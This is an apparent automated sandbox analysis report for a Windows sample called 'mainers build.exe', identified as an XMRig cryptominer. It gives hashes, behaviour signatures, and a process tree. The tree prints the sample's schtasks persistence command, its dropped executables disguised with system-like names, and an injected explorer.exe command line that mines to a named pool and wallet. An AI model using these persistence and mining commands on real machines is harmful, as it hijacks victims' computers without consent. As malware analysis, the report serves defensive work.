Resubmissions
26/06/2024, 00:09
240626-afk9qsvdlm 1026/06/2024, 00:08
240626-afcmlavdkq 1026/06/2024, 00:07
240626-aejdrasbpd 1026/06/2024, 00:07
240626-aec7qssbnf 1026/06/2024, 00:06
240626-ad5wcssbmg 1026/06/2024, 00:06
240626-adxvravcml 1026/06/2024, 00:04
240626-acvn1asaqh 1026/06/2024, 00:04
240626-ackh2asape 1026/06/2024, 00:03
240626-ab5sksvblp 10Analysis
-
max time kernel
1790s -
max time network
1797s -
platform
windows7_x64 -
resource
win7-20240611-en -
resource tags
-
submitted
26/06/2024, 00:09
General
-
Target
mainers build.exe
-
Size
29.7MB
-
MD5
b93dd3965c81ec30c91ac4b16d56a7b5
-
SHA1
6061c84646ce64812a87753ecbd96681e29bfb2c
-
SHA256
b46117fca9eb151c97c18031bcbef64049c3f01ab0f27c3b1126dc3b00bdf89e
-
SHA512
cbe3ecf658c4c117a5d40b5f748e4b452ac756acf5d848cfb997747947b50b55a13986bda28b7a96b31932af70ebe00caa1daefb3a1c42b37a46048a0417190e
-
SSDEEP
786432:dQm2AnqisnglHxrW4jZ+cjyDmBOuOtkQupv6RN:eaqi0iHxq4tjysOtBr
Malware Config
Signatures
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
XMRig Miner payload 27 IoCs
-
Executes dropped EXE 2 IoCs
-
Loads dropped DLL 4 IoCs
-
Suspicious use of SetThreadContext 1 IoCs
-
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 3 IoCs
-
Suspicious behavior: LoadsDriver 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 4 IoCs
-
Suspicious use of WriteProcessMemory 43 IoCs
-
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\mainers build.exe"C:\Users\Admin\AppData\Local\Temp\mainers build.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\mainers build.exe"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\cmd.exe"cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services64.exe"3⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\services64.exeC:\Users\Admin\AppData\Roaming\services64.exe4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\services64.exe"5⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"6⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" "/sihost64"7⤵
-
-
-
C:\Windows\explorer.exeC:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:443 --user=49uDLq2aoTjRxqrxdYYZG8A3ZGcLbH2E3BdwpD5UASiEhBnSZ7ERBhqJ768MaBCEGb2tQRCy4m37PEzTjW1MjNF3GEecTzC --pass= --cpu-max-threads-hint=40 --cinit-idle-wait=2 --cinit-idle-cpu=80 --tls6⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
31KB
MD5523b0b07998159ef63cae05147cda63a
SHA1382de578dbff037b4331829c9347222e409e026e
SHA256354628b91439e1bdb39992e6c24796312da01fd833e27466f1c2270bcb3acb1e
SHA512091126ab76a059c2d3b5084112e4c85eb8250e045b6cfee0ea8b47d01b4222a43138e003b8b9504734960f175281b138db4bb44668eae35bfa7270d417a5a7db
-
Filesize
29.7MB
MD5b93dd3965c81ec30c91ac4b16d56a7b5
SHA16061c84646ce64812a87753ecbd96681e29bfb2c
SHA256b46117fca9eb151c97c18031bcbef64049c3f01ab0f27c3b1126dc3b00bdf89e
SHA512cbe3ecf658c4c117a5d40b5f748e4b452ac756acf5d848cfb997747947b50b55a13986bda28b7a96b31932af70ebe00caa1daefb3a1c42b37a46048a0417190e
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
4KB
-
Filesize
128KB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
7.5MB
-
Filesize
29.7MB
-
Filesize
9.9MB
-
Filesize
29.7MB
-
Filesize
4KB
-
Filesize
9.9MB
-
Filesize
9.9MB
-
Filesize
9.9MB
-
Filesize
9.9MB
-
Filesize
24KB
-
Filesize
24KB